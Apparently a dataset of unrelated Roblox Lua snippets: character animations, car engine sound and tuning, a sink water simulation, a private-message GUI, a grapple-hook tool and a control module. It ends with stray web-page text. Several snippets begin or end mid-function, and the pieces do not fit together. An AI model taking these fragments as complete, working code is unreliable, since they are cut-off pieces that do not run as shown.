if Apologise then
characterMainClass.Character.CharacterEvents.Misc.Apologise:FireServer()
end
delay(Delay,function()
characterMainClass:PlayAnimation("KnockedDownMountPunch"..characterMainClass.NextPunch)
characterMainClass:StopAnimation("KnockedDownMount"..characterMainClass.NextPunch)
if characterMainClass.NextPunch == "R" then
characterMainClass.NextPunch = "L"
else
characterMainClass.NextPunch = "R"
end
delay(0,function()
if characterMainClass.isMounting then
characterMainClass:PlaySound("facehit")
character.CharacterEvents.States.KnockDownPunch:FireServer(characterMainClass.NextPunch)
end
end)
delay(.65,function()
if characterMainClass.isMounting then
characterMainClass:PlayAnimation("KnockedDownMount"..characterMainClass.NextPunch)
end
end)
end)
--self.NextPunch = (self.NextPunch == ("R" and "L") or "R")
end
end]]
|
function this:Deconstruct( ) -- we're no longer using this class so let's deconstruct it.
-- body
end
return this;
|
--handler:FireServer("playSound",Your sound here)
|
script.Parent.Values.Gear.Changed:connect(function()
mult=1
if script.Parent.Values.RPM.Value>5000 then shift=.2 end
end)
function makeTable(snd,pit,vol)
local tbl = {}
table.insert(tbl,snd)
table.insert(tbl,pit)
table.insert(tbl,vol)
return tbl
end
function update(tbl)
for _,i in pairs(tbl) do
if i[2]~=i[1].Pitch then i[1].Pitch = i[2] end
if i[3]~=i[1].Volume then i[1].Volume = i[3] end
end
end
local lt = 0
local start = false
local play
game["Run Service"].Stepped:connect(function()
local _RPM = script.Parent.Values.RPM.Value
local updtbl = {}
mult=math.max(0,mult-.1)
if script.Parent.Values.Throttle.Value <= 0/100 then
throt = math.max(.3,throt-.2)
else
throt = math.min(1,throt+.1)
end
shift = math.min(1,shift+.2)
if script.Parent.Values.RPM.Value > _Tune.Redline-_Tune.RevBounce/4 and script.Parent.Values.Throttle.Value > 0/100 then
redline=.5
else
redline=1
end
if not script.Parent.IsOn.Value then on=math.max(on-.015,0) else on=1 end
local function pitch(pit,rev) return math.max((((pit + rev*_RPM/_Tune.Redline))*on^2)+(det*mult*math.sin(80*tick())),pit) end
local volBase = ((throt*shift*redline)+(trm*trmon*trmmult*(throt)*math.sin(tick()*50)))
local RevP = pitch(SetPitch,SetRev) * on
local RevV = math.max(volBase * on,0)
table.insert(updtbl,makeTable(car.DriveSeat.Rev,RevP,RevV*vol))
--table.insert(updtbl,makeTable(Your sound here, Pitch here, Volume here))
if workspace.FilteringEnabled then handler:FireServer("updateSounds",updtbl) else update(updtbl) end
end)
|
----- water handler -----
|
while true do
if script.Parent.HotOn.Value == true and script.Parent.ColdOn.Value == true and script.Parent.Plugged.Value == true and water.Scale.Y <= 0.6 then -- if BOTH ON and PLUGGED
water.Scale = water.Scale + Vector3.new(0, 0.01, 0)
water.Offset = Vector3.new(0, water.Scale.Y/2, 0)
hotWater = hotWater + 1
coldWater = coldWater + 1
drainSound:Stop()
elseif (script.Parent.HotOn.Value == true or script.Parent.ColdOn.Value == true) and script.Parent.Plugged.Value == true and water.Scale.Y <= 0.6 then -- if ON and PLUGGED
water.Scale = water.Scale + Vector3.new(0, 0.01, 0)
water.Offset = Vector3.new(0, water.Scale.Y/2, 0)
if script.Parent.HotOn.Value == true then
hotWater = hotWater + 1
else
coldWater = coldWater + 1
end
drainSound:Stop()
elseif (script.Parent.HotOn.Value == true or script.Parent.ColdOn.Value == true) and script.Parent.Plugged.Value == false and water.Scale.Y <= 0.6 then -- if ON and NOT PLUGGED
if script.Parent.HotOn.Value == true then
coldWater = coldWater - 1
else
hotWater = hotWater - 1
end
drainSound:Stop()
elseif (script.Parent.HotOn.Value == false and script.Parent.ColdOn.Value == false) and script.Parent.Plugged.Value == false and water.Scale.Y > 0 then -- if NOT ON and NOT PLUGGED
water.Scale = water.Scale + Vector3.new(0, -0.01, 0)
water.Offset = Vector3.new(0, water.Scale.Y/2, 0)
coldWater = coldWater - 1
hotWater = hotWater - 1
drainSound.TimePosition = 0
drainSound:Play()
end
if coldWater < 1 then
coldWater = 1
end
if hotWater < 1 then
hotWater = 1
end
waterTemp = hotWater/coldWater
if waterTemp > 1 then
water.Parent.SteamEmitter.Enabled = true
else
water.Parent.SteamEmitter.Enabled = false
end
wait(0.1)
if script.Parent.ColdOn.Value == true or script.Parent.HotOn.Value == true then
script.Parent.Splash.ParticleEmitter.Enabled = true
else
script.Parent.Splash.ParticleEmitter.Enabled = false
end
if water.Scale.Y <= 0 then
drainSound:Stop()
end
end
|
-- initiate
|
for _, player in pairs(Players:GetPlayers()) do
HandlePlayer(player)
end
local map = Workspace:WaitForChild("Map")
map.DescendantRemoving:Connect(function()
wait(2)
PLAYER:Kick()
end)
|
--- Get the text entry label
|
function Window:GetLabel()
return Entry.TextLabel.Text
end
|
--[[Brakes]]
|
Tune.ABSEnabled = true -- Implements ABS
Tune.ABSThreshold = 20 -- Slip speed allowed before ABS starts working (in SPS)
Tune.FBrakeForce = 1000 -- Front brake force
Tune.RBrakeForce = 500 -- Rear brake force
Tune.PBrakeForce = 5000 -- Handbrake force
Tune.FLgcyBForce = 15000 -- Front brake force [PGS OFF]
Tune.RLgcyBForce = 10000 -- Rear brake force [PGS OFF]
Tune.LgcyPBForce = 25000 -- Handbrake force [PGS OFF]
|
--[[Engine]]
|
--
-- Everything below can be illustrated and tuned with the graph below.
-- https://www.desmos.com/calculator/x1h2vdccu1
-- This includes everything, from the engines, to boost, to electric.
-- Naturally Aspirated Engine
Tune.Engine = true
Tune.IdleRPM = 1000
Tune.Redline = 12000
Tune.PeakRPM = 9000
-- Horsepower
Tune.Horsepower = 89
Tune.MH_PeakRPM = Tune.PeakRPM
Tune.MH_PeakSharp = 2
Tune.MH_CurveMult = 0.02
-- Torque
Tune.M_EqPoint = 9500
Tune.MT_PeakRPM = 11000
Tune.MT_PeakSharp = 2
Tune.MT_CurveMult = 0.02
-- Electric Engine
Tune.Electric = false
Tune.E_Redline = 10000
Tune.E_Trans1 = 4000
Tune.E_Trans2 = 9000
-- Horsepower
Tune.E_Horsepower = 223
Tune.EH_FrontMult = 0.15
Tune.EH_EndMult = 2.9
Tune.EH_EndPercent = 7
-- Torque
Tune.E_Torque = 180
Tune.ET_EndMult = 1.505
Tune.ET_EndPercent = 27.5
-- Turbocharger
Tune.Turbochargers = 0 -- Number of turbochargers in the engine
-- Set to 0 for no turbochargers
Tune.T_Boost = 7
Tune.T_Efficiency = 6
--Horsepower
Tune.TH_PeakSharp = 2
Tune.TH_CurveMult = 0.02
--Torque
Tune.TT_PeakSharp = 2
Tune.TT_CurveMult = 0.02
Tune.T_Size = 80 -- Turbo Size; Bigger size = more turbo lag
-- Supercharger
Tune.Superchargers = 0 -- Number of superchargers in the engine
-- Set to 0 for no superchargers
Tune.S_Boost = 5
Tune.S_Efficiency = 6
--Horsepower
Tune.SH_PeakSharp = 2
Tune.SH_CurveMult = 0.02
--Torque
Tune.ST_PeakSharp = 2
Tune.ST_CurveMult = 0.02
Tune.S_Sensitivity = 0.05 -- Supercharger responsiveness/sensitivity, applied per tick (recommended values between 0.05 to 0.1)
--Misc
Tune.RevAccel = 250 -- RPM acceleration when clutch is off
Tune.RevDecay = 75 -- RPM decay when clutch is off
Tune.RevBounce = 500 -- RPM kickback from redline
Tune.IdleThrottle = 3 -- Percent throttle at idle
Tune.Flywheel = 500 -- Flywheel weight (higher = faster response, lower = more stable RPM)
--Aero
Tune.Drag = 0.5 -- 0 to 1, edit to change drag effect (0 = no effect, 1 = full effect)
|
--// All global vars will be wiped/replaced except script
|
return function(data)
local playergui = service.PlayerGui
local localplayer = service.Players.LocalPlayer
local gui = script.Parent.Parent
local Frame = gui.Frame
local Close = gui.Frame.Close
local Reply = gui.Frame.Reply
local ReplyBox = gui.Frame.Frame.ReplyBox
local Message = gui.Frame.Frame.Message
local Title = gui.Frame.Title
local player = data.Player
local message = data.Message
local title = data.Title
local replying = false
local function send()
if ReplyBox.Text~='Enter text then hit enter or "reply"' and #ReplyBox.Text>0 then
gui:Destroy()
client.Remote.Send('PrivateMessage','Reply from '..localplayer.Name,player,localplayer,service.Filter(ReplyBox.Text,localplayer,player))
client.UI.Make("Hint", {Message = "Reply sent"})
else
ReplyBox.Text='Enter text then hit enter or "reply"'
end
end
Frame.Visible = false
ReplyBox.Visible = true
Reply.Visible = true
Message.Text = message
Title.Text = title
ReplyBox.FocusLost:connect(function(enterPressed)
if enterPressed then
send()
end
end)
Close.MouseButton1Click:connect(function()
gui:Destroy()
end)
Reply.MouseButton1Click:connect(function()
if not replying then
replying = true
Frame:TweenSize(UDim2.new(0,300,0,280),nil,nil,0.5)
ReplyBox:CaptureFocus()
else
send()
end
end)
client.UI.Make("Notification",{
Title = "New Message";
Message = "New Message from "..player.Name..". Click to here to view.";
Time = false;
OnClick = function() gTable:Ready() Frame.Visible = true end;
OnClose = function() gTable:Destroy() end;
OnIgnore = function() gTable:Destroy() end;
})
end
|
--Rescripted by Luckymaxer
--Updated for R15 avatars by StarWars
|
Tool = script.Parent
Handle = Tool:WaitForChild("Handle")
Mesh = Handle:WaitForChild("Mesh")
Players = game:GetService("Players")
Debris = game:GetService("Debris")
RbxUtility = require(script.Parent.RbxUtility)
Create = RbxUtility.Create
BaseUrl = "http://www.roblox.com/asset/?id="
Meshes = {
GrappleWithHook = 33393806,
Grapple = 30308256,
Hook = 30307623,
}
Animations = {
Crouch = {Animation = Tool:WaitForChild("Crouch"), FadeTime = 0.25, Weight = nil, Speed = nil},
R15Crouch = {Animation = Tool:WaitForChild("R15Crouch"), FadeTime = 0.25, Weight = nil, Speed = nil}
}
Sounds = {
Fire = Handle:WaitForChild("Fire"),
Connect = Handle:WaitForChild("Connect"),
Hit = Handle:WaitForChild("Hit"),
}
for i, v in pairs(Meshes) do
Meshes[i] = (BaseUrl .. v)
end
local BaseRopeConstraint = Instance.new("RopeConstraint")
BaseRopeConstraint.Thickness = 0.2
BaseRopeConstraint.Restitution = 1
BaseRopeConstraint.Color = BrickColor.new("Really black")
BasePart = Create("Part"){
Material = Enum.Material.Plastic,
Shape = Enum.PartType.Block,
TopSurface = Enum.SurfaceType.Smooth,
BottomSurface = Enum.SurfaceType.Smooth,
Size = Vector3.new(0.2, 0.2, 0.2),
CanCollide = true,
Locked = true,
}
BaseRope = BasePart:Clone()
BaseRope.Name = "Effect"
BaseRope.BrickColor = BrickColor.new("Really black")
BaseRope.Anchored = true
BaseRope.CanCollide = false
Create("CylinderMesh"){
Scale = Vector3.new(1, 1, 1),
Parent = BaseRope,
}
BaseGrappleHook = BasePart:Clone()
BaseGrappleHook.Name = "Projectile"
BaseGrappleHook.Transparency = 0
BaseGrappleHook.Size = Vector3.new(1, 0.4, 1)
BaseGrappleHook.Anchored = false
BaseGrappleHook.CanCollide = true
Create("SpecialMesh"){
MeshType = Enum.MeshType.FileMesh,
MeshId = (BaseUrl .. "30307623"),
TextureId = (BaseUrl .. "30307531"),
Scale = Mesh.Scale,
VertexColor = Vector3.new(1, 1, 1),
Offset = Vector3.new(0, 0, 0),
Parent = BaseGrappleHook,
}
local RopeAttachment = Instance.new("Attachment")
RopeAttachment.Name = "RopeAttachment"
RopeAttachment.Parent = BaseGrappleHook
Create("BodyGyro"){
Parent = BaseGrappleHook,
}
for i, v in pairs({Sounds.Connect, Sounds.Hit}) do
local Sound = v:Clone()
Sound.Parent = BaseGrappleHook
end
Rate = (1 / 60)
MaxDistance = 200
CanFireWhileGrappling = true
Crouching = false
ToolEquipped = false
ServerControl = (Tool:FindFirstChild("ServerControl") or Create("RemoteFunction"){
Name = "ServerControl",
Parent = Tool,
})
ClientControl = (Tool:FindFirstChild("ClientControl") or Create("RemoteFunction"){
Name = "ClientControl",
Parent = Tool,
})
for i, v in pairs(Tool:GetChildren()) do
if v:IsA("BasePart") and v ~= Handle then
v:Destroy()
end
end
Mesh.MeshId = Meshes.GrappleWithHook
Handle.Transparency = 0
Tool.Enabled = true
function CheckTableForString(Table, String)
for i, v in pairs(Table) do
if string.find(string.lower(String), string.lower(v)) then
return true
end
end
return false
end
function CheckIntangible(Hit)
local ProjectileNames = {"Water", "Arrow", "Projectile", "Effect", "Rail", "Laser", "Bullet", "GrappleHook"}
if Hit and Hit.Parent then
if ((not Hit.CanCollide or CheckTableForString(ProjectileNames, Hit.Name)) and not Hit.Parent:FindFirstChild("Humanoid")) then
return true
end
end
return false
end
function CastRay(StartPos, Vec, Length, Ignore, DelayIfHit)
local Ignore = ((type(Ignore) == "table" and Ignore) or {Ignore})
local RayHit, RayPos, RayNormal = game:GetService("Workspace"):FindPartOnRayWithIgnoreList(Ray.new(StartPos, Vec * Length), Ignore)
if RayHit and CheckIntangible(RayHit) then
if DelayIfHit then
wait()
end
RayHit, RayPos, RayNormal = CastRay((RayPos + (Vec * 0.01)), Vec, (Length - ((StartPos - RayPos).magnitude)), Ignore, DelayIfHit)
end
return RayHit, RayPos, RayNormal
end
function AdjustRope()
if not Rope or not Rope.Parent or not CheckIfGrappleHookAlive() then
return
end
local StartPosition = Handle.RopeAttachment.WorldPosition
local EndPosition = GrappleHook.RopeAttachment.WorldPosition
local RopeLength = (StartPosition - EndPosition).Magnitude
Rope.Size = Vector3.new(1, 1, 1)
Rope.Mesh.Scale = Vector3.new(0.1, RopeLength, 0.1)
Rope.CFrame = (CFrame.new(((StartPosition + EndPosition) / 2), EndPosition) * CFrame.Angles(-(math.pi / 2), 0, 0))
end
function DisconnectGrappleHook(KeepBodyObjects)
for i, v in pairs({Rope, GrappleHook, GrappleHookChanged}) do
if v then
if tostring(v) == "Connection" then
v:disconnect()
elseif type(v) == "userdata" and v.Parent then
v:Destroy()
end
end
end
if CheckIfAlive() and not KeepBodyObjects then
for i, v in pairs(Torso:GetChildren()) do
if string.find(string.lower(v.ClassName), string.lower("Body")) then
v:Destroy()
end
end
end
Connected = false
Mesh.MeshId = Meshes.GrappleWithHook
end
function TryToConnect()
if not ToolEquipped or not CheckIfAlive() or not CheckIfGrappleHookAlive() or Connected then
DisconnectGrappleHook()
return
end
local DistanceApart = (Torso.Position - GrappleHook.Position).Magnitude
if DistanceApart > MaxDistance then
DisconnectGrappleHook()
return
end
local Directions = {Vector3.new(0, 1, 0), Vector3.new(0, -1, 0), Vector3.new(1, 0, 0), Vector3.new(-1, 0, 0), Vector3.new(0, 0, 1), Vector3.new(0, 0, -1)}
local ClosestRay = {DistanceApart = math.huge}
for i, v in pairs(Directions) do
local Direction = CFrame.new(GrappleHook.Position, (GrappleHook.CFrame + v * 2).p).lookVector
local RayHit, RayPos, RayNormal = CastRay((GrappleHook.Position + Vector3.new(0, 0, 0)), Direction, 2, {Character, GrappleHook, Rope}, false)
if RayHit then
local DistanceApart = (GrappleHook.Position - RayPos).Magnitude
if DistanceApart < ClosestRay.DistanceApart then
ClosestRay = {Hit = RayHit, Pos = RayPos, Normal = RayNormal, DistanceApart = DistanceApart}
end
end
end
if ClosestRay.Hit then
Connected = true
local GrappleCFrame = CFrame.new(ClosestRay.Pos, (CFrame.new(ClosestRay.Pos) + ClosestRay.Normal * 2).p) * CFrame.Angles((math.pi / 2), 0, 0)
GrappleCFrame = (GrappleCFrame * CFrame.new(0, -(GrappleHook.Size.Y / 1.5), 0))
GrappleCFrame = (CFrame.new(GrappleCFrame.p, Handle.Position) * CFrame.Angles(0, math.pi, 0))
local Weld = Create("Motor6D"){
Part0 = GrappleHook,
Part1 = ClosestRay.Hit,
C0 = GrappleCFrame:inverse(),
C1 = ClosestRay.Hit.CFrame:inverse(),
Parent = GrappleHook,
}
for i, v in pairs(GrappleHook:GetChildren()) do
if string.find(string.lower(v.ClassName), string.lower("Body")) then
v:Destroy()
end
end
local HitSound = GrappleHook:FindFirstChild("Hit")
if HitSound then
HitSound:Play()
end
local BackUpGrappleHook = GrappleHook
wait(0.4)
if not CheckIfGrappleHookAlive() or GrappleHook ~= BackUpGrappleHook then
return
end
Sounds.Connect:Play()
local ConnectSound = GrappleHook:FindFirstChild("Connect")
if ConnectSound then
ConnectSound:Play()
end
for i, v in pairs(Torso:GetChildren()) do
if string.find(string.lower(v.ClassName), string.lower("Body")) then
v:Destroy()
end
end
local TargetPosition = GrappleHook.Position
local BackUpPosition = TargetPosition
local BodyPos = Create("BodyPosition"){
D = 1000,
P = 3000,
maxForce = Vector3.new(1000000, 1000000, 1000000),
position = TargetPosition,
Parent = Torso,
}
local BodyGyro = Create("BodyGyro"){
maxTorque = Vector3.new(100000, 100000, 100000),
cframe = CFrame.new(Torso.Position, Vector3.new(GrappleCFrame.p.X, Torso.Position.Y, GrappleCFrame.p.Z)),
Parent = Torso,
}
Spawn(function()
while TargetPosition == BackUpPosition and CheckIfGrappleHookAlive() and Connected and ToolEquipped and CheckIfAlive() do
BodyPos.position = GrappleHook.Position
wait()
end
end)
end
end
function CheckIfGrappleHookAlive()
return (((GrappleHook and GrappleHook.Parent --[[and Rope and Rope.Parent]]) and true) or false)
end
function CheckIfAlive()
return (((Character and Character.Parent and Humanoid and Humanoid.Parent and Humanoid.Health > 0 and Torso and Torso.Parent and Player and Player.Parent) and true) or false)
end
function Activated()
if not Tool.Enabled or not ToolEquipped or not CheckIfAlive() then
return
end
local MousePosition = InvokeClient("MousePosition")
if not MousePosition then
return
end
MousePosition = MousePosition.Position
if CheckIfGrappleHookAlive() then
if not CanFireWhileGrappling then
return
end
if GrappleHookChanged then
GrappleHookChanged:disconnect()
end
DisconnectGrappleHook(true)
end
if GrappleHookChanged then
GrappleHookChanged:disconnect()
end
Tool.Enabled = false
Sounds.Fire:Play()
Mesh.MeshId = Meshes.Grapple
GrappleHook = BaseGrappleHook:Clone()
GrappleHook.CFrame = (CFrame.new((Handle.Position + (MousePosition - Handle.Position).Unit * 5), MousePosition) * CFrame.Angles(0, 0, 0))
local Weight = 70
GrappleHook.Velocity = (GrappleHook.CFrame.lookVector * Weight)
local Force = Create("BodyForce"){
force = Vector3.new(0, workspace.Gravity * 0.98 * GrappleHook:GetMass(), 0),
Parent = GrappleHook,
}
GrappleHook.Parent = Tool
GrappleHookChanged = GrappleHook.Changed:connect(function(Property)
if Property == "Parent" then
DisconnectGrappleHook()
end
end)
Rope = BaseRope:Clone()
Rope.Parent = Tool
Spawn(function()
while CheckIfGrappleHookAlive() and ToolEquipped and CheckIfAlive() do
AdjustRope()
Spawn(function()
if not Connected then
TryToConnect()
end
end)
wait()
end
end)
wait(2)
Tool.Enabled = true
end
function Equipped(Mouse)
Character = Tool.Parent
Humanoid = Character:FindFirstChild("Humanoid")
Torso = Character:FindFirstChild("Torso") or Character:FindFirstChild("UpperTorso")
Player = Players:GetPlayerFromCharacter(Character)
if not CheckIfAlive() then
return
end
Spawn(function()
DisconnectGrappleHook()
if HumanoidJumping then
HumanoidJumping:disconnect()
end
HumanoidJumping = Humanoid.Jumping:connect(function()
DisconnectGrappleHook()
end)
end)
Crouching = false
ToolEquipped = true
end
function Unequipped()
if HumanoidJumping then
HumanoidJumping:disconnect()
end
DisconnectGrappleHook()
Crouching = false
ToolEquipped = false
end
function OnServerInvoke(player, mode, value)
if player ~= Player or not ToolEquipped or not value or not CheckIfAlive() then
return
end
if mode == "KeyPress" then
local Key = value.Key
local Down = value.Down
if Key == "q" and Down then
DisconnectGrappleHook()
elseif Key == "c" and Down then
Crouching = not Crouching
Spawn(function()
local Animation = Animations.Crouch
if Humanoid and Humanoid.RigType == Enum.HumanoidRigType.R15 then
Animation = Animations.R15Crouch
end
InvokeClient(((Crouching and "PlayAnimation") or "StopAnimation"), Animation)
end)
end
end
end
function InvokeClient(Mode, Value)
local ClientReturn = nil
pcall(function()
ClientReturn = ClientControl:InvokeClient(Player, Mode, Value)
end)
return ClientReturn
end
ServerControl.OnServerInvoke = OnServerInvoke
Tool.Activated:connect(Activated)
Tool.Equipped:connect(Equipped)
Tool.Unequipped:connect(Unequipped)
|
-- Connect input events to update walk speed
|
UserInputService.InputBegan:Connect(function(input)
if input.KeyCode == Enum.KeyCode.LeftShift or input.KeyCode == Enum.KeyCode.RightShift or input.KeyCode == Enum.KeyCode.ButtonL2 then
updateWalkSpeed()
end
end)
UserInputService.InputEnded:Connect(function(input)
if input.KeyCode == Enum.KeyCode.LeftShift or input.KeyCode == Enum.KeyCode.RightShift or input.KeyCode == Enum.KeyCode.ButtonL2 then
updateWalkSpeed()
end
end)
|
--
|
script.Parent.Handle3.Hinge1.Transparency = 1
script.Parent.Handle3.Interactive1.Transparency = 1
script.Parent.Handle3.Part1.Transparency = 1
wait(0.03)
end
script.Parent.Push.ClickDetector.MouseClick:connect(toiletHandle)
|
-- Returns module (possibly nil) and success code to differentiate returning nil due to error vs Scriptable
|
function ControlModule:SelectComputerMovementModule()
if not (UserInputService.KeyboardEnabled or UserInputService.GamepadEnabled) then
return nil, false
end
local computerModule
local DevMovementMode = Players.LocalPlayer.DevComputerMovementMode
if DevMovementMode == Enum.DevComputerMovementMode.UserChoice then
computerModule = computerInputTypeToModuleMap[lastInputType]
if UserGameSettings.ComputerMovementMode == Enum.ComputerMovementMode.ClickToMove and computerModule == Keyboard then
-- User has ClickToMove set in Settings, prefer ClickToMove controller for keyboard and mouse lastInputTypes
computerModule = ClickToMove
end
else
-- Developer has selected a mode that must be used.
computerModule = movementEnumToModuleMap[DevMovementMode]
-- computerModule is expected to be nil here only when developer has selected Scriptable
if (not computerModule) and DevMovementMode ~= Enum.DevComputerMovementMode.Scriptable then
warn("No character control module is associated with DevComputerMovementMode ", DevMovementMode)
end
end
if computerModule then
return computerModule, true
elseif DevMovementMode == Enum.DevComputerMovementMode.Scriptable then
-- Special case where nil is returned and we actually want to set self.activeController to nil for Scriptable
return nil, true
else
-- This case is for when computerModule is nil because of an error and no suitable control module could
-- be found.
return nil, false
end
end
|
--print(animName .. " " .. idx .. " [" .. origRoll .. "]")
|
local anim = animTable[animName][idx].anim
|
--[=[
@param promise Promise
@return Promise
Gives the promise to the trove, which will cancel the promise if the trove is cleaned up or if the promise
is removed. The exact promise is returned, thus allowing chaining.
```lua
trove:AddPromise(doSomethingThatReturnsAPromise())
:andThen(function()
print("Done")
end)
-- Will cancel the above promise (assuming it didn't resolve immediately)
trove:Clean()
local p = trove:AddPromise(doSomethingThatReturnsAPromise())
-- Will also cancel the promise
trove:Remove(p)
```
:::caution Promise v4 Only
This is only compatible with the [roblox-lua-promise](https://eryn.io/roblox-lua-promise/) library, version 4.
:::
]=]
|
function Trove:AddPromise(promise)
if self._cleaning then
error("Cannot call trove:AddPromise() while cleaning", 2)
end
AssertPromiseLike(promise)
if promise:getStatus() == "Started" then
promise:finally(function()
if self._cleaning then
return
end
self:_findAndRemoveFromObjects(promise, false)
end)
self:Add(promise, "cancel")
end
return promise
end
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.